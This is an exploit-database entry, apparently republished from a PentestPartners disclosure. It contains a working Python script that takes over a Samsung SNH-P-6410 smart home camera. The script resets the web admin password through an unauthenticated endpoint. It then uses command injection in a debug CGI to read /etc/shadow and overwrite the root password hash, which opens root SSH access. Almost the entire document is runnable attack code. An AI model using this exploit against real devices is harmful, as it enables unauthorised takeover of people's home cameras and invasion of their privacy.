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Samsung Smart Home Camera SNH-P-6410 - Command Injection
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来源：https://www.pentestpartners.com 作者：PentestPartners 发布时间：2016-08-15
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# E-DB Note: source ~ https://www.pentestpartners.com/blog/samsungs-smart-camera-a-tale-of-iot-network-security/
import urllib, urllib2, crypt, time
# New password for web interface
web_password = 'admin'
# New password for root
root_password = 'root'
# IP of the camera
ip = '192.168.12.61'
# These are all for the Smartthings bundled camera
realm = 'iPolis'
web_username = 'admin'
base_url = 'http://' + ip + '/cgi-bin/adv/debugcgi?msubmenu=shell&command=ls&command_arg=/...;'
# Take a command and use command injection to run it on the device
def run_command(command):
# Convert a normal command into one using bash brace expansion
# Can't send spaces to debugcgi as it doesn't unescape
command_brace = '{' + ','.join(command.split(' ')) + '}'
command_url = base_url + command_brace
# HTTP digest auth for urllib2
authhandler = urllib2.HTTPDigestAuthHandler()
authhandler.add_password(realm, command_url, web_username, web_password)
opener = urllib2.build_opener(authhandler)
urllib2.install_opener(opener)
return urllib2.urlopen(command_url)
# Step 1 - change the web password using the unauthed vuln found by zenofex
data = urllib.urlencode({ 'data' : 'NEW;' + web_password })
urllib2.urlopen('http://' + ip + '/classes/class_admin_privatekey.php', data)
# Need to sleep or the password isn't changed
time.sleep(1)
# Step 2 - find the current root password hash
shadow = run_command('cat /etc/shadow')
for line in shadow:
if line.startswith('root:'):
current_hash = line.split(':')[1]
# Crypt the new password
new_hash = crypt.crypt(root_password, '00')
# Step 3 - Use sed to search and replace the old for new hash in the passwd
# This is done because the command injection doesn't allow a lot of different URL encoded chars
run_command('sed -i -e s/' + current_hash + '/' + new_hash + '/g /etc/shadow')
# Step 4 - check that the password has changed
shadow = run_command('cat /etc/shadow')
for line in shadow:
if line.startswith('root:'):
current_hash = line.split(':')[1]
if current_hash <> new_hash:
print 'Error! - password not changed'
# Step 5 - ssh to port 1022 with new root password!
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